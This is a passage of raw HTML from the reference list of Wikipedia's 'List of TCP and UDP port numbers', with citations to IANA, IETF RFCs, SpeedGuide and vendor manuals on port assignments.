title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=IANA&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D5310&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc6402-239\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc6402_239-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSchaad2011\" class=\"citation cs1\">Schaad, Jim (November 2011). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6402#section-2.11\">\"New Section 9.2 - \"Subject Information Access\"<span class=\"cs1-kern-right\"></span>\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6402\"><i>Certificate Management over CMS (CMC) Updates</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;11.&#160;sec.&#160;2.11. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC6402\">10.17487/RFC6402</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6402\">6402</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-08-14</span></span>. <q>...&#160;If CMC services are available using TCP/IP, the dNSName or iPAddress name forms MUST be used. Since the GeneralName data structure does not permit the inclusion of a port number, in the absence of other external configuration information, the value of 5318 should be used. (The port registration is in Section 3.2.)&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=New+Section+9.2+-+%22Subject+Information+Access%22&amp;rft.btitle=Certificate+Management+over+CMS+%28CMC%29+Updates&amp;rft.pages=p.-11.-sec.-2.11&amp;rft.pub=IETF&amp;rft.date=2011-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC6402&amp;rft.aulast=Schaad&amp;rft.aufirst=Jim&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6402%26%23035%3Bsection-2.11&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Niobium-240\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Niobium_240-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20131029205026/http://www.arcadezone.org/emulation/genesis/Readme.txt\">\"Kega Fusion Mini-Manual\"</a>. <i>arcadezone.org</i>. Niobium's Arcade Zone. 2010-01-16. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.arcadezone.org/emulation/genesis/Readme.txt\">the original</a> on October 29, 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=arcadezone.org&amp;rft.atitle=Kega+Fusion+Mini-Manual&amp;rft.date=2010-01-16&amp;rft_id=http%3A%2F%2Fwww.arcadezone.org%2Femulation%2Fgenesis%2FReadme.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-241\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-241\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20131029201029/http://gamingpwnage.webs.com/PC/archive/fusion_manual.txt\">\"Kega Fusion Mini-Manual\"</a>. <i>gamingpwnage.webs.com</i>. GamingPwnage. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://gamingpwnage.webs.com/PC/archive/fusion_manual.txt\">the original</a> on October 29, 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=gamingpwnage.webs.com&amp;rft.atitle=Kega+Fusion+Mini-Manual&amp;rft_id=http%3A%2F%2Fgamingpwnage.webs.com%2FPC%2Farchive%2Ffusion_manual.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-draft-miller-mftp-spec-03-242\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-draft-miller-mftp-spec-03_242-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMillerRobertsonTweedlyWhite1998\" class=\"citation cs1\">Miller, Kenneth; Robertson, Kary; Tweedly, Alex; White, Marc (April 1998). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/draft-miller-mftp-spec-03#section-3\">\"MFTP Architecture\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/draft-miller-mftp-spec-03\"><i>StarBurst Multicast File Transfer Protocol (MFTP) Specification</i></a>. Acknowledgements to Scott Bradner, Ken Cates, and Tony Speakman. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;10.&#160;sec.&#160;3. I-D draft-miller-mftp-spec-03<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-05-19</span></span>. <q>...&#160;IANA has assigned UDP port 5402 for MFTP. Certain MFTP messages must be sent to this port because it will be the only port number known both to the sender (Server) and the receivers (Clients).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=MFTP+Architecture&amp;rft.btitle=StarBurst+Multicast+File+Transfer+Protocol+%28MFTP%29+Specification&amp;rft.pages=p.-10.-sec.-3&amp;rft.pub=IETF&amp;rft.date=1998-04&amp;rft.aulast=Miller&amp;rft.aufirst=Kenneth&amp;rft.au=Robertson%2C+Kary&amp;rft.au=Tweedly%2C+Alex&amp;rft.au=White%2C+Marc&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Fdraft-miller-mftp-spec-03%26%23035%3Bsection-3&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-243\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-243\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.bouwsoft.be\">\"Use IT Group - Bouwsoft - Groensoft\"</a>. Bouwsoft.be<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Use+IT+Group+-+Bouwsoft+-+Groensoft&amp;rft.pub=Bouwsoft.be&amp;rft_id=http%3A%2F%2Fwww.bouwsoft.be&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-244\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-244\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.speedguide.net/port.php?port=5450\">\"Port 5450 Details\"</a>. SpeedGuide.net<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-02-05</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Port+5450+Details&amp;rft.pub=SpeedGuide.net&amp;rft_id=https%3A%2F%2Fwww.speedguide.net%2Fport.php%3Fport%3D5450&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-245\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-245\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.speedguide.net/port.php?port=5457\">\"Port 5457 Details\"</a>. SpeedGuide.net<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-02-05</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Port+5457+Details&amp;rft.pub=SpeedGuide.net&amp;rft_id=https%3A%2F%2Fwww.speedguide.net%2Fport.php%3Fport%3D5457&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-246\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-246\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSpeedguide\" class=\"citation news cs1\">Speedguide. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.speedguide.net/port.php?port=5458\">\"Port 5458 Details\"</a>. <i>Speedguide</i>. SpeedGuide.net<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-02-05</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Speedguide&amp;rft.atitle=Port+5458+Details&amp;rft.au=Speedguide&amp;rft_id=https%3A%2F%2Fwww.speedguide.net%2Fport.php%3Fport%3D5458&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-247\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-247\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20151207234231/http://resourcecenter.controlmicrosystems.com/display/public/CS/Firewall+Configuration+to+Allow+Client+-+Server+Comms;jsessionid=A820B5CA962E638AD0EEA6B3152346CB\">\"Firewall Configuration to Allow Client - Server Comms\"</a>. <i>Schneider Electric Resource Center</i>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://resourcecenter.controlmicrosystems.com/display/public/CS/Firewall+Configuration+to+Allow+Client+-+Server+Comms;jsessionid=A820B5CA962E638AD0EEA6B3152346CB\">the original</a> on 7 December 2015<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">26 November</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Schneider+Electric+Resource+Center&amp;rft.atitle=Firewall+Configuration+to+Allow+Client+-+Server+Comms&amp;rft_id=http%3A%2F%2Fresourcecenter.controlmicrosystems.com%2Fdisplay%2Fpublic%2FCS%2FFirewall%2BConfiguration%2Bto%2BAllow%2BClient%2B-%2BServer%2BComms%3Bjsessionid%3DA820B5CA962E638AD0EEA6B3152346CB&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-248\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-248\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.oracle.com/cd/E14571_01/core.1111/e10105/portnums.htm\">\"Port Numbers\"</a>. Docs.oracle.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Port+Numbers&amp;rft.pub=Docs.oracle.com&amp;rft_id=http%3A%2F%2Fdocs.oracle.com%2Fcd%2FE14571_01%2Fcore.1111%2Fe10105%2Fportnums.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ANSI_E1.17-2010-249\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ANSI_E1.17-2010_249-0\">^</a></b></span> <span class=\"reference-text\">ANSI E1.17-2010</span>\n</li>\n<li id=\"cite_note-250\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-250\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.elastic.co/guide/en/kibana/current/access.html\">\"Access Kibana | Kibana Guide &#91;7.14&#93; | Elastic\"</a>. <i>www.elastic.co</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-09-02</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.elastic.co&amp;rft.atitle=Access+Kibana+%7C+Kibana+Guide+%5B7.14%5D+%7C+Elastic&amp;rft_id=https%3A%2F%2Fwww.elastic.co%2Fguide%2Fen%2Fkibana%2Fcurrent%2Faccess.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-251\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-251\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180621015657/https://support.symantec.com/en_US/article.TECH106675.html\">\"pcAnywhere IP port usage\"</a>. <i>support.symantec.com</i>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://support.symantec.com/en_US/article.TECH106675.html\">the original</a> on 2018-06-21<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-04-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=support.symantec.com&amp;rft.atitle=pcAnywhere+IP+port+usage&amp;rft_id=https%3A%2F%2Fsupport.symantec.com%2Fen_US%2Farticle.TECH106675.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-252\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-252\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170419002545/https://support.symantec.com/en_US/article.TECH107578.html\">\"How to change the IP ports that pcAnywhere uses\"</a>. <i>support.symantec.com</i>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://support.symantec.com/en_US/article.TECH107578.html\">the original</a> on 2017-04-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-04-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=support.symantec.com&amp;rft.atitle=How+to+change+the+IP+ports+that+pcAnywhere+uses&amp;rft_id=https%3A%2F%2Fsupport.symantec.com%2Fen_US%2Farticle.TECH107578.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ampq-253\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-ampq_253-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-ampq_253-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.rabbitmq.com/uri-spec.html\">\"AMQP URI Specification\"</a>. <i>www.rabbitmq.com</i>. GoPivotal, Inc. 2013.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.rabbitmq.com&amp;rft.atitle=AMQP+URI+Specification&amp;rft.date=2013&amp;rft_id=http%3A%2F%2Fwww.rabbitmq.com%2Furi-spec.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-254\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-254\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.nagios.org/ncpa/help.php#configuration\">\"NCPA Configuration\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=NCPA+Configuration&amp;rft_id=https%3A%2F%2Fwww.nagios.org%2Fncpa%2Fhelp.php%23configuration&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-255\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-255\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.hazelcast.org/docs/3.9/manual/html-single/index.html#port\">\"Hazelcast 3.9 Reference Manual\"</a>. <i>docs.hazelcast.org</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-11-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=docs.hazelcast.org&amp;rft.atitle=Hazelcast+3.9+Reference+Manual&amp;rft_id=http%3A%2F%2Fdocs.hazelcast.org%2Fdocs%2F3.9%2Fmanual%2Fhtml-single%2Findex.html%23port&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-256\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-256\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/cc540431.aspx\">\"Technet: Using a Firewall with Operations Manager 2007\"</a>. Microsoft.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Technet%3A+Using+a+Firewall+with+Operations+Manager+2007&amp;rft.pub=Microsoft&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fcc540431.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-257\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-257\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://communities.bentley.com/products/projectwise/content_management/w/wiki/5620/troubleshooting-projectwise-gateway-or-connection-server-tn\">\"Troubleshooting ProjectWise Gateway or Connection Server &#91;TN&#93; - Content Management Wiki - Content Management - Bentley Communities\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-09-20</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Troubleshooting+ProjectWise+Gateway+or+Connection+Server+%5BTN%5D+-+Content+Management+Wiki+-+Content+Management+-+Bentley+Communities&amp;rft_id=https%3A%2F%2Fcommunities.bentley.com%2Fproducts%2Fprojectwise%2Fcontent_management%2Fw%2Fwiki%2F5620%2Ftroubleshooting-projectwise-gateway-or-connection-server-tn&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-258\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-258\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120405142928/http://www.hep.phy.cam.ac.uk/vnc_docs/faq.html#q53\">\"VNC Frequently Asked Questions (FAQ): Q53 Which TCP/IP ports does VNC use?\"</a>. AT&amp;T Laboratories Cambridge. 1999. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.hep.phy.cam.ac.uk/vnc_docs/faq.html#q53\">the original</a> on 2012-04-05<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-08-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=VNC+Frequently+Asked+Questions+%28FAQ%29%3A+Q53+Which+TCP%2FIP+ports+does+VNC+use%3F&amp;rft.pub=AT%26T+Laboratories+Cambridge&amp;rft.date=1999&amp;rft_id=http%3A%2F%2Fwww.hep.phy.cam.ac.uk%2Fvnc_docs%2Ffaq.html%23q53&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-259\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-259\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.teamviewer.com/en/res/pdf/TeamViewer8-Manual-RemoteControl-en.pdf\">\"TeamViewer 8 Manual Remote Control\"</a> <span class=\"cs1-format\">(PDF)</span>. <i>www.teamviewer.com</i>. TeamViewer GmbH. 2012. p.&#160;68<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-08-30</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.teamviewer.com&amp;rft.atitle=TeamViewer+8+Manual+Remote+Control&amp;rft.pages=68&amp;rft.date=2012&amp;rft_id=http%3A%2F%2Fwww.teamviewer.com%2Fen%2Fres%2Fpdf%2FTeamViewer8-Manual-RemoteControl-en.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Enter-PSSession-260\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-Enter-PSSession_260-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-Enter-PSSession_260-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/hh849707.aspx\">\"Enter-PSSession\"</a>. <i>www.technet.com</i>. Microsoft TechNet. 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-31</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.technet.com&amp;rft.atitle=Enter-PSSession&amp;rft.date=2013&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fhh849707.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-microsoft1-261\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-microsoft1_261-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-microsoft1_261-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.microsoft.com/en-us/help/2019527/how-to-configure-winrm-for-https\">\"How To: Configure WINRM for HTTPS\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-04-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=How+To%3A+Configure+WINRM+for+HTTPS&amp;rft_id=https%3A%2F%2Fsupport.microsoft.com%2Fen-us%2Fhelp%2F2019527%2Fhow-to-configure-winrm-for-https&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-262\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-262\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://pubs.vmware.com/vsphere-50/index.jsp?topic=%2Fcom.vmware.vsphere.security.doc_50%2FGUID-ECEA77F5-D38E-4339-9B06-FF9B78E94B68.html\">\"vSphere Documentation Center\"</a>. <i>vmware.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=vmware.com&amp;rft.atitle=vSphere+Documentation+Center&amp;rft_id=https%3A%2F%2Fpubs.vmware.com%2Fvsphere-50%2Findex.jsp%3Ftopic%3D%252Fcom.vmware.vsphere.security.doc_50%252FGUID-ECEA77F5-D38E-4339-9B06-FF9B78E94B68.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" 